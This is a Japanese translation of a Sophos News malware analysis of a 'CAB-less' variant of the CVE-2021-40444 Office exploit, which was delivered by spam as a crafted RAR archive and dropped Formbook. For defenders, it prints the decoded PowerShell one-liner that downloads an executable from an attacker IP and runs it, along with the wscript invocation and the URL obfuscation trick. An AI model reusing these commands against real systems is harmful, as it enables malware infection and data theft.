Site icon Sophos News

Microsoft MSHTML の修正パッチを回避する新たな攻撃が確認される

** 本記事は、Attackers test “CAB-less 40444” exploit in a dry run の翻訳です。最新の情報は英語記事をご覧ください。**

最新のエクスプロイトはマクロを使用せずに、周りくどい方法で悪意のある Word 文書を開かせようとします。

[更新 (2021-12-23 1:00pm EST): 本記事では以前、悪意のある RAR アーカイブは古いバージョンの WinRAR アーカイバでは開けないとしていました。RAR5 の規格が変更され、WinRAR やその他のアーカイブツールが Rar! マジックバイトより前のデータを、アーカイブに自己解凍コードが含まれている場合と同様に扱うようになったことを説明するため、記事を更新しました。また、2021 年 9 月の累積更新プログラムが適用されたテスト機でエクスプロイトをテストしたところ、Word 文書はリモートサーバーとの通信を試みましたが、以降の攻撃は修正パッチにより停止しました。ただし、エクスプロイトコードをホストしていた、悪意のある Web サイトが閉鎖されたため、最後までテストをすることはできませんでした。修正された段落には [更新] というラベルを付加しました。9 月 (またはそれ以降) の累積更新プログラムがインストールされたコンピュータでもエクスプロイトが機能するという誤解を与えてしまったことをお詫びします。]

[更新 (2021-12-23 10:00am EST): 本記事では以前、下記の CAB レスエクスプロイトが、CVE-2021-40444 に対する 2021 年 9 月のパッチを適用したシステムでも動作すると記述されていました。これは事実ではなく、9 月のパッチによってこの問題は修正されています。本記事で扱った攻撃はパッチが適用されていない Windows システムでのみ成功しました。この誤りを指摘していただいた ACROS Security の Mitja Kolsek 氏と CERT/CC の Will Dormann 氏に謝意を表します。]

昨年 9 月に、Microsoft は Office 製品群の深刻なバグ (CVE-2021-40444) に対する一連の対応策と修正パッチをリリースしました。攻撃者は、9 月の月例パッチの少なくとも 1 週間前から Microsoft MSHTML リモートコード実行の脆弱性を悪用し始めましたが、初期の対応策 (ActiveX コントロールのインストールを無効にすることなど) や、修正パッチ (1 週間後にリリース) は、攻撃者がマルウェアのインストールに利用していたエクスプロイトの防止に十分効果的でした。

Microsoft が上記のような解決策を公開した直後、攻撃者はパッチの保護を回避するために攻撃に変更を加えました。

悪意のある文書は、閲覧用に開かれると、リモートサーバーとの通信を試みます。

10 月 24 日から 25 日にかけて、悪意のあるファイルが添付されたスパムメールを何通か受け取りました。この添付ファイルは、攻撃者が脆弱性 (-40444) の悪用を拡大したもので、たとえ修正パッチを適用していても、十分な熱意と技術を持つ攻撃者から常に身を守れるわけではないことを示しています。

受信したどのメッセージにも、同一の本文、送信元のアドレス、および悪意のある添付ファイルが含まれていました。

CVE-2021-40444 の初期のエクスプロイトは、悪意のある Office 文書が、Microsoft Cabinet (.CAB) ファイル形式で圧縮されたマルウェアのペイロードを取得するものでした。Microsoft からの修正パッチによってこの手法が塞がれると、攻撃者は、細工した RAR アーカイブに悪意のある文書を格納することで、まったく別の方法で攻撃を行えることを発見しました。このエクスプロイトは、上記の CAB 形式を利用せずに行われるため、CAB-less 40444 と呼ばれています。CAB 形式を用いない (CAB レス) 攻撃は、9 月のパッチを適用する前の CVE-2021-40444 への対応策を回避します。しかし、初期の CAB 形式を用いる攻撃に対応した 9 月のパッチで適用される変更により、以下に示す CAB レス攻撃の動作もブロックされます。

攻撃の手順

1 日あまりの間に、攻撃者は以下のようなスパムメールを送信しました。ソフォスで受け取ったいくつかの実行可能なサンプルは、同一のメッセージ本文と送信元アドレスを含んでいました。メッセージ本文にはハンガリーの住所が 2 件記載されていますが、送信元アドレスにはこの攻撃とは一見無関係に見える、ジャマイカに拠点を置く実在の企業のドメインを少しだけもじったものが使用されています。

電子メールには Profile.rar という名前のアーカイブファイルが添付されていました。RAR アーカイブは、悪意のある添付ファイルによく用いられる形式ですが、このファイルは不正な形式に変形されていました。
この RAR ファイルには、Windows Scripting Host の表記法で書かれたスクリプトが添付されており、スクリプトのテキストファイルのすぐ後ろに悪意のある Word 文書が置かれていました。

[更新] WinRAR (および他の圧縮ツール) は、RAR ファイルの「Rar!」ヘッダ (下の画像に示されています) より前のデータを自己解凍アーカイブとして扱います。しかし、扱うデータが実際に自己解凍アーカイブコードであるかどうかなど、他のチェックは一切行いません。したがって、自己解凍アーカイブをサポートするアーカイブツールは、依然としてこのファイルを解凍できると考えられます。

.rar アーカイブに埋め込まれたスクリプト

[更新] ユーザーがこの悪意のある RAR 添付ファイルを解凍し、Word 文書を開くと、エクスプロイトが実行されます。

悪意のある文書には、よくあるソーシャルエンジニアリングサイトと同様、不自然なアポストロフィがいくつか配置されています。
悪意のあるコードのソース URL に接続していることを示すメッセージは、文書の読み込み時に Word の起動画面で素早く点滅するので、注意していないと見逃してしまいます。

Process Explorer のようなツールで確認すると、下図のように Word 文書が RAR アーカイブ自体を Windows Scripting Host (WSH) スクリプトとして呼び出しているように見えます。この動作は不正な循環型参照であり、(理論的には) 機能しないはずであるにもかかわらず機能しています。Windows では、この種のスクリプトの他のスクリプト形式との混在は許可されています。Process Explorer は、コマンドラインを wscript.exe “.wsf:../../../[path where RAR was saved]/Profile.rar?.wsf” として表示しています。スクリプトのテキストがアーカイブのマジックバイトの前に表示されているので、Windows Scripting Host プロセスである wscript.exe は、RAR ファイル内に埋め込まれた PowerShell コマンドを正常に起動します。

この PowerShell コマンドは、Base64 でエンコードされた長い文字列をデコードします。このコマンド自体が、リモートの Web サイトからマルウェア実行ファイルを取得して、システム上で dllhostSvc.exe として実行するよう PowerShell に指示する、別のスクリプトコマンドになっています。

攻撃の仕組み

[更新] 理論上、この攻撃は上手くいかないはずです。
9 月の修正パッチを適用したシステムに対しては無効な攻撃だからです。しかし、攻撃が行われた時期には、まだパッチが適用されていないシステムもあったはずです。また、圧縮ツールがファイルを自己解凍型アーカイブとして扱っていたことも、当時攻撃が成功した一因です。

旧来の脆弱性 (-40444) に対するエクスプロイトと同様に、攻撃者は OLE オブジェクト (外部ファイルやドキュメントを埋め込むためのデータ型) を含む Office 文書を使用しています。OLE オブジェクトは、通常 JavaScript で Web ページを表示したりダウンロードしたりするために使用されます。しかし、攻撃者は細工された .docx (複数の XML ファイルを圧縮したもの) に隠された「word/_rels/document.xml.rels」というファイルの中の、MHTML プロトコルハンドラ内に以下のようなコードを埋め込んでいました。

一部のセキュリティソフトが平文の URL を検出することを警戒して、攻撃者は XML の文字実体参照を用いて URL を暗号化しています。
上記の &#x48 という値は 16 進数で 48、つまり ASCII における文字 H を示しており、同様に &#x54 は ASCII の T&#x50P…というように URL でおなじみの http:// プロトコルヘッダの最初の文字が宣言されています。

文書内に実行可能な VBA やマクロはありませんが、攻撃者は Word 文書の本文で、「コンテンツの有効化」を行うようにユーザーに促します。有効化を行うと、コンピュータは hxxp://104.244.78.177/Profile.html (意図的に誤った URL を掲載しています) を読み込む指示を受けます。

[更新] 9 月のアップデートが適用されたテスト機でこの攻撃をテストしたところ、プログラムが文書を表示する前に、Word はリモート Web サイトへの通信を試みました。悪意のあるコードをホストしている Web サイトは数週間前からオフラインになっているため、現在、攻撃が完了するかどうかをテストすることはできません。

(まだ稼働していた頃に) ブラウザで上記の Web ページに移動すると、Apache のウェルカムページが表示されるだけでした。

しかし、表示されたページのソースコードを詳しく見てみると、難読化された不審な Javascript コードが配置されていました。

[更新] パッチが適用されていないシステムでは、ページ上の JavaScript が Office 内で実行されます。このパッチを適用していれば、Microsoft Word を通じたあらゆる ActiveX コントロールのインストールをブロックできたはずです。使用されたスクリプトは、元の RAR ファイルを WSF として起動する手法の概念実証としてすでに公開された JavaScript を難読化したものでした。

Javascript を一部デコードすると、コードの最後の方では XML コマンドがより明確になります。

RAR ファイルを発見すると、wscript.exe は WSF のコードを実行し、PowerShell を起動します。前述の通り、この攻撃では、base64 でエンコードされた PowerShell コマンドが使用されます。このコマンドをデコードすると、攻撃の最終段階が明らかになります。

iex ((new-object system.net.webclient).downloadfile("hxxp://104.244.78.177/abb01.exe","$env:LOCALAPPDATA\dllhostSvc.exe"));Start-Process "$env:LOCALAPPDATA\dllhostSvc.exe"

上記のコマンドを実行すると、コンピュータは悪意のあるファイルを「AppData\Local」にダウンロードし、開きます。実行される EXE ファイルは、Formbook と呼ばれるマルウェアファミリの一種であることが、SophosLabs チームによって確認されています。

ネットワーク上での活発な動作

今回の攻撃は、ネットワークの観点からみると特に活発です。

Profile.html ページで実行される Javascript は、やや風変わりな一連のネットワークリクエストを作成しました。この Javascript は実行中に難読化を解除するため、スクリプトの実行に顕著な遅延が生じます。そのため、感染プロセスが完了するまでに 5~8 秒かかり、その過程で特徴的なネットワークトラフィックが発生します。

Profile.html 上で動作するスクリプトは、さまざまな HTTP リクエストの「動詞」を使って、コンピュータにページへの複数のリクエストを実行させます。よくある GET リクエストだけでなく、HEAD、OPTIONS、PROPFIND などです。この最後のリクエスト (PROPFIND) は単に珍しいというだけでなく、XML 文書が Web 上に置かれたリソースを要求するためのものであるという点でも注目に値します。これはまさにエクスプロイトが行うことだからです。

このプロセスの最後に、スクリプトは Word を通じて Windows Script Host を実行し、.rar ファイルを指定します。このスクリプトは (最終的には) Formbook のペイロードをダウンロードする PowerShell を起動します。注目すべきは、このプロセスの他の HTTP リクエストがすべてユーザーエージェント文字列を持つ一方で、マルウェア実行ファイルを配信する最後の HTTP リクエストはこの文字列を持たないことです。つまり、これらのリクエストで使用されるユーザーエージェントは意味をなさなくなります。いくつかのリクエストは、サポート終了から 5 年が経過した Windows 8 上で動作する Internet Explorer 7 からのものであるかのように装い、他のリクエストは、Microsoft Office Existence Discovery のユーザーエージェント文字列を使用しているかのように装います。

また、マルウェアのペイロードに注目すると、Formbook は非常に「うるさい」マルウェアです。このマルウェアは、約 18 時間かけて 50 以上のサーバーと通信し、膨大な数の Web リクエストを行います。生成されるリクエストは、各サーバーの URI パスに /zxsc/ という文字列を含む URL に接続し、リクエストヘッダにユーザーエージェント文字列を含まないという点も特徴的です。この方式で 1 分間に何度も HTTP 接続を行うため、ネットワークを監視していれば不審なアクティビティが異常に多く発生していることにすぐに気づくでしょう。しかし残念ながら、ネットワークの監視はあまり一般的ではありません。

Formbook はネットワーク上で非常に活発であり、1 分間に何度もリクエストを行います。

攻撃発生時の迅速なパッチ適用

この「修正された」エクスプロイトは、9 月のパッチにより成功率が低下したため、わずか 1 日で使用できなくなりました。

[更新] 調査の過程で、テストシステム上の古いバージョンの WinRAR は、これらの「修正された」rar アーカイブファイルを開けないことに気がつきました。
最新のバージョンでは、この不具合は発生しませんでした。私たちが最初にテスト機でこの問題をテストした際、インストールされていたバージョンの WinRAR (3.61) はアーカイブを開けず、エラーを出しました。

[更新] アーカイブツール WinRAR の開発者と連絡を取ったところ、テスト機にインストールされていたバージョンの WinRAR は RAR5 自己解凍アーカイブ形式をサポートしていなかったため、エラーメッセージが出たのだろうと説明を受けました。WinRAR の最新版 (6.10 beta 3) をインストールしてテストを行ったところ、正常にアーカイブファイルが開かれ、悪意のある文書を抽出することができました。

[更新] したがって、偶然にもこの特定の、かなり古いバージョンの WinRAR のユーザーは (システム保護を意図した動作ではありませんが) アーカイブを解凍することができなかったと考えられます。

[更新] 上記の事例は明らかに異常な動作ですが、この攻撃の被害をたまたま受けないからと言って、サポートされていないバージョンのアーカイブツールにダウングレードすることはおすすめしません。私たちの以前からのアドバイスは、ここでも通用します。Microsoft がエクスプロイトの使用について警告を発するということは、エクスプロイトがその仕組みを解明した個人あるいは集団によって順序立てた攻撃に組み込まれ、すでにスパム攻撃に利用されているということを意味します。

しかし、パッチだけですべての脆弱性を、すべての場合において防ぐことはできません。ユーザーが誤って悪意のある文書のスクリプトを実行するのを防ぐため、すべての制限を有効にすることは多少の役には立ちます。一方で、騙されて「コンテンツの有効化」をクリックしてしまう例が (しばしば) 発生しています。このような操作を行うのは一般的に軽率であることは容易に学習できますが、危険性をより広く周知していく必要があります。また、見知らぬ人や会社から送られてくる圧縮された文書を (特にその形式が一般的でない、あるいは見慣れない場合に) 反射的に疑うように意識するのは簡単ですが、発生した問題を認識するのには訓練が必要です。自分の直感を信じることを学び、今回のような例に遭遇したら、送信者 (または IT 部門の有識者) に、できればファイルを開く前に確認することが大切です。

検出ガイド

ソフォスのエンドポイント保護製品は、CAB レス -40444 エクスプロイトを含む細工された文書ファイルを Troj/DocDL-AEOL として検出します。また、Formbook マルウェアは従来の静的解析に基づいて通常通り検出されます。本記事で調査したサンプルに関連するセキュリティ侵害の痕跡 (IoC) を、Profile.html ページにおける追加のものも含め、 SophosLabs の Github ページで公開しています。</p

Exit mobile version